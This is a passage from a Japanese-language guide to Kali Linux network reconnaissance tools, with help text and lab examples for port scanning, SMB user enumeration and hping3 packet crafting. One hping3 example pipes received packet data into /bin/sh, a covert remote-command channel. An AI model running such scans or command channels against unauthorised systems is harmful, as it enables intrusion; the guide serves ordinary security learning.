  o      is OBJECT IDENTIFIER
If the type specifier is missing, the value type is auto-detected

■ 使用例

# 2台のホストからsysDescr、hrStorageAllocationUnits 、hrStorageSizeを取得する
root@kali:~# braa \
public@192.168.11.3-192.168.11.4:.1.3.6.1.2.1.1.1.0/sysDescr \
public@192.168.11.3-192.168.11.4:.1.3.6.1.2.1.25.2.3.1.4.1/hrStorageAllocationUnits \
public@192.168.11.3-192.168.11.4:.1.3.6.1.2.1.25.2.3.1.5.1/hrStorageSize
sysDescr:192.168.11.3:21ms:.0:Hardware: Intel64 Family 6 Model 142 Stepping 11 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 22635 Multiprocessor Free)
hrStorageAllocationUnits:192.168.11.3:21ms:.1:4096
hrStorageSize:192.168.11.3:21ms:.1:62190335
sysDescr:192.168.11.4:21ms:.0:Hardware: AMD64 Family 23 Model 17 Stepping 0 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 19045 Multiprocessor Free)
hrStorageAllocationUnits:192.168.11.4:21ms:.1:4096
hrStorageSize:192.168.11.4:21ms:.1:121528319

enum4linux-ng

ファイル共有プロトコル（主にSMB）を利用してマシンの情報を収集します。

■ 使用方法

root@kali:~# enum4linux-ng --help

usage: enum4linux-ng [-h] [-A] [-As] [-U] [-G] [-Gm] [-S] [-C] [-P] [-O] [-L] [-I] [-R [BULK_SIZE]] [-N] [-w DOMAIN] [-u USER]
                     [-p PW | -K TICKET_FILE | -H NTHASH] [--local-auth] [-d] [-k USERS] [-r RANGES] [-s SHARES_FILE] [-t TIMEOUT] [-v] [--keep]
                     [-oJ OUT_JSON_FILE | -oY OUT_YAML_FILE | -oA OUT_FILE]
                     host

[...]

positional arguments:
  host

options:
  -h, --help         show this help message and exit
  -A                 Do all simple enumeration including nmblookup (-U -G -S -P -O -N -I -L). This option is enabled if you don\'t provide any other option.
  -As                Do all simple short enumeration without NetBIOS names lookup (-U -G -S -P -O -I -L)
  -U                 Get users via RPC
  -G                 Get groups via RPC
  -Gm                Get groups with group members via RPC
  -S                 Get shares via RPC
  -C                 Get services via RPC
  -P                 Get password policy information via RPC
  -O                 Get OS information via RPC
  -L                 Get additional domain info via LDAP/LDAPS (for DCs only)
  -I                 Get printer information via RPC
  -R [BULK_SIZE]     Enumerate users via RID cycling. Optionally, specifies lookup request size.
  -N                 Do an NetBIOS names lookup (similar to nbtstat) and try to retrieve workgroup from output
  -w DOMAIN          Specify workgroup/domain manually (usually found automatically)
  -u USER            Specify username to use (default "")
  -p PW              Specify password to use (default "")
  -K TICKET_FILE     Try to authenticate with Kerberos, only useful in Active Directory environment
  -H NTHASH          Try to authenticate with hash
  --local-auth       Authenticate locally to target
  -d                 Get detailed information for users and groups, applies to -U, -G and -R
  -k USERS           User(s) that exists on remote system (default: administrator,guest,krbtgt,domain admins,root,bin,none). Used to get sid with "lookupsids"
  -r RANGES          RID ranges to enumerate (default: 500-550,1000-1050)
  -s SHARES_FILE     Brute force guessing for shares
  -t TIMEOUT         Sets connection timeout in seconds (default: 5s)
  -v                 Verbose, show full samba tools commands being run (net, rpcclient, etc.)
  --keep             Don\'t delete the Samba configuration file created during tool run after enumeration (useful with -v)
  -oJ OUT_JSON_FILE  Writes output to JSON file (extension is added automatically)
  -oY OUT_YAML_FILE  Writes output to YAML file (extension is added automatically)
  -oA OUT_FILE       Writes output to YAML and JSON file (extensions are added automatically)

■ 使用例

root@kali:~# enum4linux-ng 192.168.11.4
ENUM4LINUX - next generation (v1.3.4)
[...]
 ===================================
|    Listener Scan on 192.168.11.4  |
 ===================================
[*] Checking LDAP
[-] Could not connect to LDAP on 389/tcp: connection refused
[*] Checking LDAPS
[-] Could not connect to LDAPS on 636/tcp: connection refused
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp
[...]
 =======================================
|    SMB Dialect Check on 192.168.11.4  |
 =======================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
  SMB 1.0: true
  SMB 2.02: false
  SMB 2.1: false
  SMB 3.0: false
  SMB 3.1.1: false
Preferred dialect: SMB 1.0
SMB1 only: true
SMB signing required: false
[*] Enforcing legacy SMBv1 for further enumeration
[...]
=============================================
|    OS Information via RPC for 192.168.11.4 |
 =============================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[+] Found OS information via 'srvinfo'
[+] After merging OS information we have the following result:
OS: Linux/Unix (Samba 3.0.20-Debian)
OS version: '4.9'
OS release: not supported
OS build: not supported
Native OS: Unix
Native LAN manager: Samba 3.0.20-Debian
Platform id: '500'
Server type: '0x9a03'
Server type string: Wk Sv PrQ Unx NT SNT f4f5ef5b7e57 server (Samba 3.0.20-Debian)

 ===================================
|    Users via RPC on 192.168.11.4  |
 ===================================
[*] Enumerating users via 'querydispinfo'
[+] Found 35 user(s) via 'querydispinfo'
[*] Enumerating users via 'enumdomusers'
[+] Found 35 user(s) via 'enumdomusers'
[+] After merging user results we have 35 user(s) total:
'1000':
  username: root
  name: root
  acb: '0x00000011'
  description: (null)
'1002':
  username: daemon
  name: daemon
  acb: '0x00000011'
  description: (null)
[...]

fping

任意の数のターゲットを指定してpingを送信することができます。

■ 使用方法

root@kali:~# fping --help

Usage: fping [options] [targets...]

Probing options:
   -4, --ipv4         only ping IPv4 addresses
   -6, --ipv6         only ping IPv6 addresses
   -b, --size=BYTES   amount of ping data to send, in bytes (default: 56)
   -B, --backoff=N    set exponential backoff factor to N (default: 1.5)
   -c, --count=N      count mode: send N pings to each target
   -f, --file=FILE    read list of targets from a file ( - means stdin)
   -g, --generate     generate target list (only if no -f specified)
                      (give start and end IP in the target list, or a CIDR address)
                      (ex. fping -g 192.168.1.0 192.168.1.255 or fping -g 192.168.1.0/24)
   -H, --ttl=N        set the IP TTL value (Time To Live hops)
   -I, --iface=IFACE  bind to a particular interface
   -l, --loop         loop mode: send pings forever
   -m, --all          use all IPs of provided hostnames (e.g. IPv4 and IPv6), use with -A
   -M, --dontfrag     set the Don\'t Fragment flag
   -O, --tos=N        set the type of service (tos) flag on the ICMP packets
   -p, --period=MSEC  interval between ping packets to one target (in ms)
                      (in loop and count modes, default: 1000 ms)
   -r, --retry=N      number of retries (default: 3)
   -R, --random       random packet data (to foil link data compression)
   -S, --src=IP       set source address
   -t, --timeout=MSEC individual target initial timeout (default: 500 ms,
                      except with -l/-c/-C, where it\'s the -p period up to 2000 ms)

Output options:
   -a, --alive        show targets that are alive
   -A, --addr         show targets by address
   -C, --vcount=N     same as -c, report results in verbose format
   -d, --rdns         show targets by name (force reverse-DNS lookup)
   -D, --timestamp    print timestamp before each output line
   -e, --elapsed      show elapsed time on return packets
   -i, --interval=MSEC  interval between sending ping packets (default: 10 ms)
   -n, --name         show targets by name (reverse-DNS lookup for target IPs)
   -N, --netdata      output compatible for netdata (-l -Q are required)
   -o, --outage       show the accumulated outage time (lost packets * packet interval)
   -q, --quiet        quiet (don\'t show per-target/per-ping results)
   -Q, --squiet=SECS  same as -q, but add interval summary every SECS seconds
   -s, --stats        print final stats
   -u, --unreach      show targets that are unreachable
   -v, --version      show version
   -x, --reachable=N  shows if >=N hosts are reachable or not

■ 使用例

root@kali:~# fping -g 192.168.11.0/24
192.168.11.1 is alive
192.168.11.3 is alive
192.168.11.4 is alive

hping3

カスタムICMP/UDP/TCPパケットを送信し、ターゲットのリプライを表示します。

■ 使用方法

root@kali:~# hping3 --help

usage: hping3 host [options]
  -h  --help      show this help
  -v  --version   show version
  -c  --count     packet count
  -i  --interval  wait (uX for X microseconds, for example -i u1000)
      --fast      alias for -i u10000 (10 packets for second)
      --faster    alias for -i u1000 (100 packets for second)
      --flood      sent packets as fast as possible. Don\'t show replies.
  -n  --numeric   numeric output
  -q  --quiet     quiet
  -I  --interface interface name (otherwise default routing interface)
  -V  --verbose   verbose mode
  -D  --debug     debugging info
  -z  --bind      bind ctrl+z to ttl           (default to dst port)
  -Z  --unbind    unbind ctrl+z
      --beep      beep for every matching packet received
Mode
  default mode     TCP
  -0  --rawip      RAW IP mode
  -1  --icmp       ICMP mode
  -2  --udp        UDP mode
  -8  --scan       SCAN mode.
                   Example: hping --scan 1-30,70-90 -S www.target.host
  -9  --listen     listen mode
IP
  -a  --spoof      spoof source address
  --rand-dest      random destionation address mode. see the man.
  --rand-source    random source address mode. see the man.
  -t  --ttl        ttl (default 64)
  -N  --id         id (default random)
  -W  --winid      use win* id byte ordering
  -r  --rel        relativize id field          (to estimate host traffic)
  -f  --frag       split packets in more frag.  (may pass weak acl)
  -x  --morefrag   set more fragments flag
  -y  --dontfrag   set don\'t fragment flag
  -g  --fragoff    set the fragment offset
  -m  --mtu        set virtual mtu, implies --frag if packet size > mtu
  -o  --tos        type of service (default 0x00), try --tos help
  -G  --rroute     includes RECORD_ROUTE option and display the route buffer
  --lsrr           loose source routing and record route
  --ssrr           strict source routing and record route
  -H  --ipproto    set the IP protocol field, only in RAW IP mode
ICMP
  -C  --icmptype   icmp type (default echo request)
  -K  --icmpcode   icmp code (default 0)
      --force-icmp send all icmp types (default send only supported types)
      --icmp-gw    set gateway address for ICMP redirect (default 0.0.0.0)
      --icmp-ts    Alias for --icmp --icmptype 13 (ICMP timestamp)
      --icmp-addr  Alias for --icmp --icmptype 17 (ICMP address subnet mask)
      --icmp-help  display help for others icmp options
UDP/TCP
  -s  --baseport   base source port             (default random)
  -p  --destport   [+][+]<port> destination port(default 0) ctrl+z inc/dec
  -k  --keep       keep still source port
  -w  --win        winsize (default 64)
  -O  --tcpoff     set fake tcp data offset     (instead of tcphdrlen / 4)
  -Q  --seqnum     shows only tcp sequence number
  -b  --badcksum   (try to) send packets with a bad IP checksum
                   many systems will fix the IP checksum sending the packet
                   so you\'ll get bad UDP/TCP checksum instead.
  -M  --setseq     set TCP sequence number
  -L  --setack     set TCP ack
  -F  --fin        set FIN flag
  -S  --syn        set SYN flag
  -R  --rst        set RST flag
  -P  --push       set PUSH flag
  -A  --ack        set ACK flag
  -U  --urg        set URG flag
  -X  --xmas       set X unused flag (0x40)
  -Y  --ymas       set Y unused flag (0x80)
  --tcpexitcode    use last tcp->th_flags as exit code
  --tcp-mss        enable the TCP MSS option with the given value
  --tcp-timestamp  enable the TCP timestamp option to guess the HZ/uptime
Common
  -d  --data       data size                    (default is 0)
  -E  --file       data from file
  -e  --sign       add 'signature'
  -j  --dump       dump packets in hex
  -J  --print      dump printable characters
  -B  --safe       enable 'safe' protocol
  -u  --end        tell you when --file reached EOF and prevent rewind
  -T  --traceroute traceroute mode              (implies --bind and --ttl 1)
  --tr-stop        Exit when receive the first not ICMP in traceroute mode
  --tr-keep-ttl    Keep the source TTL fixed, useful to monitor just one hop
  --tr-no-rtt       Don\'t calculate/show RTT information in traceroute mode
ARS packet description (new, unstable)
  --apd-send       Send the packet described with APD (see docs/APD.txt)

■ 使用例

# 80番ポートに対するACKスキャンで疎通確認を行う（FWでICMPパケットがブロックされている場合など）
root@kali:~# hping3 -c 3 -A -p 80 192.168.11.4
HPING 192.168.11.4 (eth0 192.168.11.4): A set, 40 headers + 0 data bytes
len=40 ip=192.168.11.4 ttl=64 DF id=0 sport=80 flags=R seq=0 win=0 rtt=16.2 ms
len=40 ip=192.168.11.4 ttl=64 DF id=0 sport=80 flags=R seq=1 win=0 rtt=16.0 ms
len=40 ip=192.168.11.4 ttl=64 DF id=0 sport=80 flags=R seq=2 win=0 rtt=15.4 ms

--- 192.168.11.4 hping statistic ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 15.4/15.9/16.2 ms

------------------------------
# リッスンモードでパケットをスニッフィング
root@kali:~# hping3 --listen HTTP --interface eth0
hping3 listen mode

# HTTPリクエストを送信
root@kali:~# curl http://192.168.11.4

# HTTPという文字以降の送受信データが表示される
root@kali:~# hping3 --listen HTTP --interface eth0
hping3 listen mode
/1.1
Host: 192.168.11.4
User-Agent: curl/8.9.1
Accept: */*

/1.1 200 OK
Date: Mon, 14 Oct 2024 11:28:04 GMT
Server: Apache/2.4.62 (Unix)
Last-Modified: Mon, 11 Jun 2007 18:53:14 GMT
ETag: "2d-432a5e4a73a80"
Accept-Ranges: bytes
Content-Length: 45
Content-Type: text/html

<html><body><h1>It works!</h1></body></html>

------------------------------
# [ホスト１]リッスンモードでパケットをスニッフィング
root@kali_1:~# hping3 --listen hello --interface eth0 | /bin/sh
hping3 listen mode

root@kali_2:~# echo ls > test.cmd
# [ホスト２]ホスト１の53番ポートに対してデータを送信
root@kali_2:~# hping3 192.168.11.3 -c 1 -p 53 -d 100 --sign hello --file test.cmd
HPING 192.168.11.3 (eth0 192.168.11.3): NO FLAGS are set, 40 headers + 100 data bytes
len=40 ip=192.168.11.3 ttl=64 DF id=0 sport=53 flags=RA seq=0 win=0 rtt=7.1 ms

--- 192.168.11.3 hping statistic ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 7.1/7.1/7.1 ms

# [ホスト１]受信したデータをコマンド（lsコマンド）として実行
root@kali_1:~# hping3 --listen hello --interface eth0 | /bin/sh
hping3 listen mode
bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

------------------------------
# ターゲットの80番ポートにSYNパケットを送信するスクリプトを作成
root@kali_1:~# vi example.htcl
set target 192.168.11.4
set myaddr 192.168.11.3
set syn {}
append syn "ip(saddr=$myaddr,daddr=$target,ttl=255)"
append syn "+tcp(sport=123,dport=80,flags=s)"
hping send $syn

# スクリプトを実行
root@kali_1:~# hping3 exec example.htcl

root@kali_2:~# tcpdump -n -i eth0
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
13:46:06.373816 IP 192.168.11.3.123 > 192.168.11.4.80: Flags [S], seq 0, win 0, length 0
13:46:06.373844 IP 192.168.11.4.80 > 192.168.11.3.123: Flags [R.], seq 0, ack 1, win 0, length 0

MASSCAN

大量のホストのポートを高速でスキャンします。

■ 使用方法

root@kali:~# man masscan
SYNOPSIS
       masscan <ip addresses/ranges> -p ports options
OPTIONS
       •   <ip/range>: anything on the command-line not prefixed with a ´-´ is assumed to be an IP address or range. There are three valid for‐
           mats.  The  first is a single IPv4 address like "192.168.0.1". The second is a range like "10.0.0.1-10.0.0.100". The third is a CIDR
           address, like "0.0.0.0/0". At least one target must be specified. Multiple targets can be specified. This can be specified as multi‐
           ple options separated by space, or can be separated by a comma as a single option, such as 10.0.0.0/8,192.168.0.1.

       •   --range <ip/range>: the same as target range spec described above, except as a named parameter instead of an unnamed one.

       •   -p <ports, --ports <ports>: specifies the port(s) to be scanned. A single port can be specified, like -p80. A range of ports can  be
           specified,  like  -p  20-25. A list of ports/ranges can be specified, like -p80,20-25. UDP ports can also be specified, like --ports
           U:161,U:1024-1100.

       •   --banners: specifies that banners should be grabbed, like HTTP server versions, HTML title fields, and so forth. Only a  few  proto‐
           cols are supported.

       •   --rate  <packets-per-second>:  specifies  the  desired  rate  for transmitting packets. This can be very small numbers, like 0.1 for
           transmitting packets at rates of one every 10 seconds, for very large numbers like 10000000, which attempts to transmit at  10  mil‐
           lion  packets/second.  In my experience, Windows and can do 250 thousand packets per second, and latest versions of Linux can do 2.5
           million packets per second. The PF_RING driver is needed to get to 25 million packets/second.

       •   -c <filename>, --conf <filename>: reads in a configuration file. The format of the configuration file is described below.

       •   --resume <filename>: the same as --conf, except that a few options are automatically set, such as --append-output. The format of the
           configuration file is described below.

       •   --echo: don´t run, but instead dump the current configuration to a file. This file can then be used with the -c option.  The  format
           of this output is described below under ´CONFIGURATION FILE´.

       •   -e  <ifname>, --adapter <ifname>: use the named raw network interface, such as "eth0" or "dna1". If not specified, the first network
           interface found with a default gateway will be used.

       •   --adapter-ip <ip-address>: send packets using this IP address. If not specified, then the first IP address bound to the network  in‐
           terface will be used. Instead of a single IP address, a range may be specified. NOTE: The size of the range must be an even power of
           2, such as 1, 2, 4, 8, 16, 1024 etc. addresses.

       •   --adapter-port  <port>:  send  packets  using  this port number as the source. If not specified, a random port will be chosen in the
           range 40000 through 60000. This port should be filtered by the host firewall (like iptables) to prevent the host network stack  from
           interfering with arriving packets. Instead of a single port, a range can be specified, like 40000-40003. NOTE: The size of the range
           must be an even power of 2, such as the example above that has a total of 4 addresses.

       •   --adapter-mac  <mac-address>:  send packets using this as the source MAC address. If not specified, then the first MAC address bound
           to the network interface will be used.

       •   --router-mac <mac address>: send packets to this MAC address as the destination. If not specified, then the gateway address  of  the
           network interface will be ARPed.

       •   --ping: indicates that the scan should include an ICMP echo request. This may be included with TCP and UDP scanning.

       •   --exclude  <ip/range>:  blacklist an IP address or range, preventing it from being scanned. This overrides any target specification,
           guaranteeing that this address/range won´t be scanned. This has the same format as the normal target specification.

       •   --excludefile <filename>: reads in a list of exclude ranges, in the same target format described above. These  ranges  override  any
           targets, preventing them from being scanned.

       •   --append-output: causes output to append to file, rather than overwriting the file.

       •   --iflist: list the available network interfaces, and then exits.

       •   --retries: the number of retries to send, at 1 second intervals. Note that since this scanner is stateless, retries are sent regard‐
           less if replies have already been received.

       •   --nmap: print help about nmap-compatibility alternatives for these options.

       •   --pcap-payloads: read packets from a libpcap file containing packets and extract the UDP payloads, and associate those payloads with
           the destination port. These payloads will then be used when sending UDP packets with the matching destination port. Only one payload
           will be remembered per port. Similar to --nmap-payloads.

       •   --nmap-payloads  <filename>: read in a file in the same format as the nmap file nmap-payloads. This contains UDP payload, so that we
           can send useful UDP packets instead of empty ones. Similar to --pcap-payloads.

       •   --http-user-agent <user-agent>: replaces the existing user-agent field with the indicated value when doing HTTP requests.

       •   --open-only: report only open ports, not closed ports.

       •   --pcap <filename>: saves received packets (but not transmitted packets) to the libpcap-format file.

       •   --packet-trace: prints a summary of those packets sent and received. This is useful at low rates, like a few packets per second, but
           will overwhelm the terminal at high rates.

       •   --pfring: force the use of the PF_RING driver. The program will exit if PF_RING DNA drvers are not available.

       •   --resume-index: the point in the scan at when it was paused.

       •   --resume-count: the maximum number of probes to send before exiting. This is useful with the --resume-index to chop up  a  scan  and
           split it among multiple instances, though the --shards option might be better.

       •   --shards <x>/<y>: splits the scan among instances. x is the id for this scan, while y is the total number of instances. For example,
           --shards  1/2  tells an instance to send every other packet, starting with index 0. Likewise, --shards 2/2 sends every other packet,
           but starting with index 1, so that it doesn´t overlap with the first example.

       •   --rotate <time>: rotates the output file, renaming it with the current timestamp, moving it to a separate  directory.  The  time  is
           specified  in  number  of  seconds,  like  "3600" for an hour. Or, units of time can be specified, such as "hourly", or "6hours", or
           "10min". Times are aligned on an even boundary, so if "daily" is specified, then the file will be rotated every day at midnight.

       •   --rotate-offset <time>: an offset in the time. This is to accommodate timezones.

       •   --rotate-dir <directory>: when rotating the file, this specifies which directory  to  move  the  file  to.  A  useful  directory  is
           /var/log/masscan.

       •   --seed  <integer>: an integer that seeds the random number generator. Using a different seed will cause packets to be sent in a dif‐
           ferent random order. Instead of an integer, the string time can be specified, which seeds using the local  timestamp,  automatically
           generating a different random order of scans. If no seed specified, time is the default.

       •   --regress: run a regression test, returns ´0´ on success and ´1´ on failure.

       •   --ttl <num>: specifies the TTL of outgoing packets, defaults to 255.

       •   --wait  <seconds>:  specifies the number of seconds after transmit is done to wait for receiving packets before exiting the program.
           The default is 10 seconds. The string forever can be specified to never terminate.

       •   --offline: don´t actually transmit packets. This is useful with a low rate and --packet-trace to look at what packets might´ve  been
           transmitted. Or, it´s useful with --rate 100000000 in order to benchmark how fast transmit would work (assuming a zero-overhead dri‐
           ver). PF_RING is about 20% slower than the benchmark result from offline mode.

       •   -sL:  this doesn´t do a scan, but instead creates a list of random addresses. This is useful for importing into other tools. The op‐
           tions --shard, --resume-index, and --resume-count can be useful with this feature.

       •   --interactive: show the results in realtime on the console. It has no effect if used with --output-format or --output-filename.

       •   --output-format <fmt>: indicates the format of the output file, which can be xml, binary, grepable, list, or JSON. The option --out‐
           put-filename must be specified.

       •   --output-filename <filename>: the file which to save results to. If the parameter --output-format is not specified, then the default
           of xml will be used.

       •   -oB <filename>: sets the output format to binary and saves the output in the given filename. This is equivelent to using the  --out‐
           put-format  and  --output-filename parameters. The option --readscan can then be used to read the binary file. Binary files are much
           smaller than their XML equivelents, but require a separate step to convert back into XML or another readable format.

       •   -oX <filename>: sets the output format to XML and saves the output in the given filename. This is equivelent  to  using  the  --out‐
           put-format xml and --output-filename parameters.

       •   -oG  <filename>:  sets  the  output  format  to grepable and saves the output in the given filename. This is equivelent to using the
           --output-format grepable and --output-filename parameters.

       •   -oJ <filename>: sets the output format to JSON and saves the output in the given filename. This is equivelent to  using  the  --out‐
           put-format json and --output-filename parameters.

       •   -oL <filename>: sets the output format to a simple list format and saves the output in the given filename. This is equivelent to us‐
           ing the --output-format list and --output-filename parameters.

       •   --readscan <binary-files>: reads the files created by the -oB option from a scan, then outputs them in one of the other formats, de‐
           pending  on  command-line  parameters. In other words, it can take the binary version of the output and convert it to an XML or JSON
           format.

■ 使用例

root@kali:~# masscan 192.168.11.0/24 -p 20-25
Starting masscan 1.3.9-integration (http://bit.ly/14GZzcT) at 2024-12-10 02:30:09 GMT
Initiating SYN Stealth Scan
Scanning 256 hosts [1 port/host]
Discovered open port 21/tcp on 192.168.11.4
Discovered open port 25/tcp on 192.168.11.4
Discovered open port 23/tcp on 192.168.11.4
Discovered open port 22/tcp on 192.168.11.4

Naabu

ホスト/ホストのリストに対してSYN/CONNECT/UDPスキャンを高速に実行し、応答を返すポートをリストアップします。

■ 使用方法

root@kali:~# naabu --help
Naabu is a port scanning tool written in Go that allows you to enumerate open ports for hosts in a fast and reliable manner.

Usage:
  naabu [flags]

Flags:
INPUT:
   -host string[]              hosts to scan ports for (comma-separated)
   -list, -l string            list of hosts to scan ports (file)
   -exclude-hosts, -eh string  hosts to exclude from the scan (comma-separated)
   -exclude-file, -ef string   list of hosts to exclude from scan (file)

PORT:
   -port, -p string            ports to scan (80,443, 100-200)
   -top-ports, -tp string      top ports to scan (default 100) [full,100,1000]
   -exclude-ports, -ep string  ports to exclude from scan (comma-separated)
   -ports-file, -pf string     list of ports to scan (file)
   -port-threshold, -pts int   port threshold to skip port scan for the host
   -exclude-cdn, -ec           skip full port scans for CDN/WAF (only scan for port 80,443)
   -display-cdn, -cdn          display cdn in use

RATE-LIMIT:
   -c int     general internal worker threads (default 25)
   -rate int  packets to send per second (default 1000)

UPDATE:
   -up, -update                 update naabu to latest version
   -duc, -disable-update-check  disable automatic naabu update check

OUTPUT:
   -o, -output string  file to write output to (optional)
   -j, -json           write output in JSON lines format
   -csv                write output in csv format

CONFIGURATION:
   -config string                   path to the naabu configuration file (default $HOME/.config/naabu/config.yaml)
   -scan-all-ips, -sa               scan all the IP\'s associated with DNS record
   -ip-version, -iv string[]        ip version to scan of hostname (4,6) - (default 4) (default ["4"])
   -scan-type, -s string            type of port scan (SYN/CONNECT) (default "s")
   -source-ip string                source ip and port (x.x.x.x:yyy - might not work on OSX)
   -interface-list, -il             list available interfaces and public ip
   -interface, -i string            network Interface to use for port scan
   -nmap                            invoke nmap scan on targets (nmap must be installed) - Deprecated
   -nmap-cli string                 nmap command to run on found results (example: -nmap-cli 'nmap -sV')
   -r string                        list of custom resolver dns resolution (comma separated or from file)
   -proxy string                    socks5 proxy (ip[:port] / fqdn[:port]
   -proxy-auth string               socks5 proxy authentication (username:password)
   -resume                          resume scan using resume.cfg
   -stream                          stream mode (disables resume, nmap, verify, retries, shuffling, etc)
   -passive                         display passive open ports using shodan internetdb api
   -irt, -input-read-timeout value  timeout on input read (default 3m0s)
   -no-stdin                        Disable Stdin processing

HOST-DISCOVERY:
   -sn, -host-discovery           Perform Only Host Discovery
   -Pn, -skip-host-discovery      Skip Host discovery
   -ps, -probe-tcp-syn string[]   TCP SYN Ping (host discovery needs to be enabled)
   -pa, -probe-tcp-ack string[]   TCP ACK Ping (host discovery needs to be enabled)
   -pe, -probe-icmp-echo          ICMP echo request Ping (host discovery needs to be enabled)
   -pp, -probe-icmp-timestamp     ICMP timestamp request Ping (host discovery needs to be enabled)
   -pm, -probe-icmp-address-mask  ICMP address mask request Ping (host discovery needs to be enabled)
   -arp, -arp-ping                ARP ping (host discovery needs to be enabled)
   -nd, -nd-ping                  IPv6 Neighbor Discovery (host discovery needs to be enabled)
   -rev-ptr                       Reverse PTR lookup for input ips

SERVICES-DISCOVERY:
   -sD, -service-discovery  Service Discovery
   -sV, -service-version    Service Version

OPTIMIZATION:
   -retries int       number of retries for the port scan (default 3)
   -timeout int       millisecond to wait before timing out (default 1000)
   -warm-up-time int  time in seconds between scan phases (default 2)
   -ping              ping probes for verification of host
   -verify            validate the ports again with TCP verification

DEBUG:
   -health-check, -hc        run diagnostic check up
   -debug                    display debugging information
   -verbose, -v              display verbose output
   -no-color, -nc            disable colors in CLI output
   -silent                   display only results in output
   -version                  display version of naabu
   -stats                    display stats of the running scan (deprecated)
   -si, -stats-interval int  number of seconds to wait between showing a statistics update (deprecated) (default 5)
   -mp, -metrics-port int    port to expose naabu metrics on (default 63636)

■ 使用例

root@kali:~# naabu -host 192.168.11.4
[INF] Current naabu version 2.3.1 (latest)
[INF] Running host discovery scan
[INF] Running SYN scan with CAP_NET_RAW privileges
192.168.11.4:5900
192.168.11.4:111
192.168.11.4:80
192.168.11.4:514
192.168.11.4:2121
192.168.11.4:445
192.168.11.4:25
192.168.11.4:23
192.168.11.4:513
192.168.11.4:21
192.168.11.4:3306
192.168.11.4:6000
192.168.11.4:8009
192.168.11.4:22
192.168.11.4:139
192.168.11.4:5432
[INF] Found 16 ports on host 192.168.11.4 (192.168.11.4)

# 開いているポートに対するサービス検出を実行
root@kali:~# naabu -host 192.168.11.4 -silent | fingerprintx -f
mysql://192.168.11.4:3306
smtp://192.168.11.4:25
ssh://192.168.11.4:22
ftp://192.168.11.4:21
postgresql://192.168.11.4:5432
vnc://192.168.11.4:5900
rpc://192.168.11.4:111
telnet://192.168.11.4:23
http://192.168.11.4:80

NBTscan

ネットワークをスキャンしてNetBIOS情報を表示します。

■ 使用方法

root@kali:~# nbtscan

Usage:
nbtscan [-v] [-d] [-e] [-l] [-t timeout] [-b bandwidth] [-r] [-q] [-s separator] [-m retransmits] (-f filename)|(<scan_range>)
        -v              verbose output. Print all names received
                        from each host
        -d              dump packets. Print whole packet contents.
        -e              Format output in /etc/hosts format.
        -l              Format output in lmhosts format.
                        Cannot be used with -v, -s or -h options.
        -t timeout      wait timeout milliseconds for response.
                        Default 1000.
        -b bandwidth    Output throttling. Slow down output
                        so that it uses no more that bandwidth bps.
                        Useful on slow links, so that ougoing queries
                        don\'t get dropped.
        -r              use local port 137 for scans. Win95 boxes
                        respond to this only.
                        You need to be root to use this option on Unix.
        -q              Suppress banners and error messages,
        -s separator    Script-friendly output. Don\'t print
                        column and record headers, separate fields with separator.
        -h              Print human-readable names for services.
                        Can only be used with -v option.
        -m retransmits  Number of retransmits. Default 0.
        -f filename     Take IP addresses to scan from file filename.
                        -f - makes nbtscan take IP addresses from stdin.
        <scan_range>    what to scan. Can either be single IP
                        like 192.168.1.1 or
                        range of addresses in one of two forms:
                        xxx.xxx.xxx.xxx/xx or xxx.xxx.xxx.xxx-xxx.

■ 使用例

root@kali:~# nbtscan -v -s : 192.168.11.4
192.168.11.4:600E54EA9E5E   :00U
192.168.11.4:600E54EA9E5E   :03U
192.168.11.4:600E54EA9E5E   :20U
192.168.11.4:600E54EA9E5E   :00U
192.168.11.4:600E54EA9E5E   :03U
192.168.11.4:600E54EA9E5E   :20U
192.168.11.4:__MSBROWSE__:01G
192.168.11.4:WORKGROUP      :00G
192.168.11.4:WORKGROUP      :1dU
192.168.11.4:WORKGROUP      :1eG
192.168.11.4:WORKGROUP      :00G
192.168.11.4:WORKGROUP      :1dU
192.168.11.4:WORKGROUP      :1eG
192.168.11.4:MAC:dc:fb:48:75:75:0b

nbtscan(unixwiz)

ネットワークをスキャンしてNetBIOS情報を表示します。

■ 使用方法

root@kali:~# nbtscan-unixwiz

usage: nbtscan-unixwiz [options] target [targets...]

   Targets are lists of IP addresses, DNS names, or address
   ranges. Ranges can be in /nbits notation ("192.168.12.0/24")
   or with a range in the last octet ("192.168.12.64-97")

   -V        show Version information
   -f        show Full NBT resource record responses (recommended)
   -H        generate HTTP headers
   -v        turn on more Verbose debugging
   -n        No looking up inverse names of IP addresses responding
   -p <n>    bind to UDP Port <n> (default=0)
   -m        include MAC address in response (implied by '-f')
   -T <n>    Timeout the no-responses in <n> seconds (default=2 secs)
   -w <n>    Wait <n> msecs after each write (default=10 ms)
   -t <n>    Try each address <n> tries (default=1)
   -P        generate results in perl hashref format

■ 使用例

root@kali:~# nbtscan-unixwiz -f 192.168.11.4
192.168.11.4      WORKGROUP\600E54EA9E5E          SHARING
  600E54EA9E5E   <00> UNIQUE Workstation Service
  600E54EA9E5E   <03> UNIQUE Messenger Service<3>
  600E54EA9E5E   <20> UNIQUE File Server Service
  ..__MSBROWSE__.<01> GROUP  Master Browser
  WORKGROUP      <00> GROUP  Domain Name
  WORKGROUP      <1d> UNIQUE Master Browser
  WORKGROUP      <1e> GROUP  Browser Service Elections
  dc:fb:48:75:75:0b   ETHER  server4test.local-net

Netdiscover

ネットワーク内にarpリクエストを送信してネットワークアドレスを検出します。

■ 使用方法

root@kali:~# netdiscover -h

Usage: netdiscover [-i device] [-r range | -l file | -p] [-m file] [-F filter] [-s time] [-c count] [-n node] [-dfPLNS]
  -i device: your network device
  -r range: scan a given range instead of auto scan. 192.168.6.0/24,/16,/8
  -l file: scan the list of ranges contained into the given file
  -p passive mode: do not send anything, only sniff
  -m file: scan a list of known MACs and host names
  -F filter: customize pcap filter expression (default: "arp")
